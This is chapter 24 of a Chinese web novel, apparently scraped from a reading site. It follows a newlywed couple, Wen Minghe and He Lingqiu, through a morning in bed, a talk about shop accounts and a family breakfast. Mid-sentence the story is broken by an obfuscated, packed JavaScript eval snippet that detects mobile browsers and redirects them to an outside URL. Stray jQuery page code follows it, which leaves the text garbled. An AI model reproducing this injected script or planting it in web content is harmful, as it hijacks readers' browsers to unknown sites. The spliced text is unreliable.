24. 第 24 章

作品:《笨蛋美人重生在新婚夜

    淡淡的美人香弥漫在鼻尖,分辨出这股香气源于谁后,昏沉的头脑已经清醒些许,同时掌下传来过于温软细腻的触感,他无意识握住,长指便深陷其中,指间的硬粒微硌,被捉住的腕骨也在那一刻泛起细微疼意。


    那双狭长深邃的凤眸徐徐掀开,入目是女郎白皙修长的颈侧,和红透了的莹润耳垂。


    许是经历过更加狼狈的晨起之景,如今尚且称得上体面,瞬息间辨清眼下的状况,贺令秋喉结缓缓滑动了下,慢慢松开半包着扣住的手掌。


    他腕骨一动,温明鹤以为身后之人又不老实,咬着牙用力,隔着寝衣狠狠掐进青年腕间的肉里。


    该死的,当她摁不住他是吧!


    掌心被迫再度紧贴上温热的皮肉,贺令秋愣了一瞬,便想稍微使点力气挣开,却被牢牢捉住不允抽离。


    她不想让他把手拿开。


    意识到这一点,贺令秋眸光渐渐幽暗下来,她嘴上嫌弃他差劲,却偷偷摸摸和他亲近。


    她就这么喜欢他?


    温明鹤感觉青年那只手没再和她较劲,便想一鼓作气拽出来,刚碰到那条结实有力的小臂,一个蜻蜓点水似的亲吻落在颈侧。


    温明鹤的大脑顿时空白一片,是贺令秋亲的她吧?


    ……贺令秋为何要亲她?


    “……”等会儿!


    温明鹤回过头看见那双清醒至极的黑眸后,没绷住,“你醒了???”


    贺令秋不意外看到她这样难以置信的反应,刚醒的嗓子还有些沙哑,“这应该很明显。”


    温明鹤恍恍惚惚,“你……一直醒着?”


    贺令秋从容地抽出手,替她整理了下凌乱的寝衣下摆,“可以这么说。”


    温明鹤咽了下口水,“那、那你是……”从哪一步开始醒的?


    话至一半,她卡在半壳有点问不下去。


    贺令秋居然会主动亲吻她这一事实在惊悚至极,若他方才做那些举动时一直是清醒时,那更匪夷所思。


    他一向不识相,怎么可能忽然待她亲近。


    这其中一定有鬼!


    贺令秋将温明鹤眼中的惊疑不定尽收眼底,稍稍一想,便猜到她是想问自己何时醒来的。


    女郎好颜面,未问出口大概是不想面对他早已苏醒的事实。


    念及她在府里这段时日还算安分的份上,他语气自若,主动递台阶,“我睡相不好,你若备感苦恼,那将原先的罗汉榻换回来。”


    温明鹤登时暗道一声果然,他心里就没憋着好,既然想牺牲色相使诈,那正好落她下怀。


    趁这时候努努力,等她怀上崽子就把他一脚踹开。


    “不必,睡久了也就习惯了。”


    这个答案在意料之中,贺令秋淡淡嗯了一声,瞥一眼已经大亮的窗外,“时辰尚早,你再睡会儿。”


    温明鹤知道他是要晨起练武,自己本就还没睡足,闻言便重新倒回被窝,翻了个身,看见自己那一床薄被正孤零零的堆在里侧。


    ……?


    她狐疑地垂下眼,这是贺令秋的被子。


    她为何会和贺令秋同盖一被?


    温明鹤努力回忆了下,才后知后觉想起自己昨夜太困,正说着话呢,抵着贺令秋的胳膊就睡着了。


    他居然没有把她搬回去,还和她一个被窝睡了一夜。


    温明鹤倒吸一口凉气,贺令秋这是从昨夜就想好对付她的招数了啊!


    还好她够聪明,没上当。


    她美滋滋地想着,裹着薄被酝酿着睡意,很快重新沉入睡梦之中。


    待彻底睡饱后,柳叶儿正为她梳洗打扮着,有下人前来提醒,“少夫人,大夫人院里备了早膳,请您和公子过去一同用膳。”


    温明鹤这段时日和婆母小姑子亲近不少,闻言也没耽误,收拾好便出了房门,临到前院时,贺令秋正等着她。


    温明鹤睡好后脑子也灵光了,想起柳


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329907|197718||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    芽儿叮嘱的事情来,快两步凑到贺令秋跟前,小声地询问,“柳芽儿接手之后翻阅先前的账本,四房近几年一直从你的铺面上划银子用,这是怎么回事儿?”


    贺令秋没想到她会问这个,轻瞥一眼,想了想,“那两家铺面原先一直亏损,四叔行商多年,那铺子交给他之后便被救活了。”


    他淡声道,“四叔近年经商不利,他好颜面,羞于向父亲和二叔开口,只让四婶婶来寻我商议,那些被借走的银子临到年底会一起还回来,此事府中无人知晓,你也记得让下人守好嘴巴。”


    温明鹤不甚服气,“柳芽儿的嘴严实着呢。”


    恐怕孟氏也没想到贺令秋会那么放心的把岁寒院交给她来打理,所以知晓之后才会那么意外惊慌。


    想想孟氏对自己的态度,温明鹤撇撇嘴,“亲兄弟明算账,我会让柳芽儿把借出去和收回来的每一笔都算得清清楚楚,若有差池,我可不会看在你们叔侄的情面上甘心吃哑巴亏。”


    贺令秋剑眉微皱了下,到底是不甚放心,“如有不对,你先来寻我,莫要擅自行事。”


    “知道了知道了。”就这么不放心她。


    说着,东府正院就已经到了。


    三郎贺寅秋尚在学院读书未归,膳桌上便只有贺父云氏和贺岚瑾在。


    云氏今早从下人口中得知了温明鹤昨夜差人去请郝大夫一事,见到女郎一袭青粉裳裙而来时,先下意识扫一眼女郎的腰腹,关切道,“昨夜怎么请了府医,可是哪里不舒服?”


    温明鹤来这边用过几次膳,自然地落座,而后苦着一张脸可怜兮兮的,“脾胃不好,吃一点东西总是堵心难受,得喝上几日苦药调理才行。”


    云氏闻言忍不住又看向温明鹤的肚子,犹豫几许,“郝大夫把脉准吗?”


    贺父和夫人同坐一起,正好捕捉到她的视线,膝盖轻轻碰了碰,示意她莫要乱猜测,“老郝在咱府上那么多年了,岂会把不准脉象。”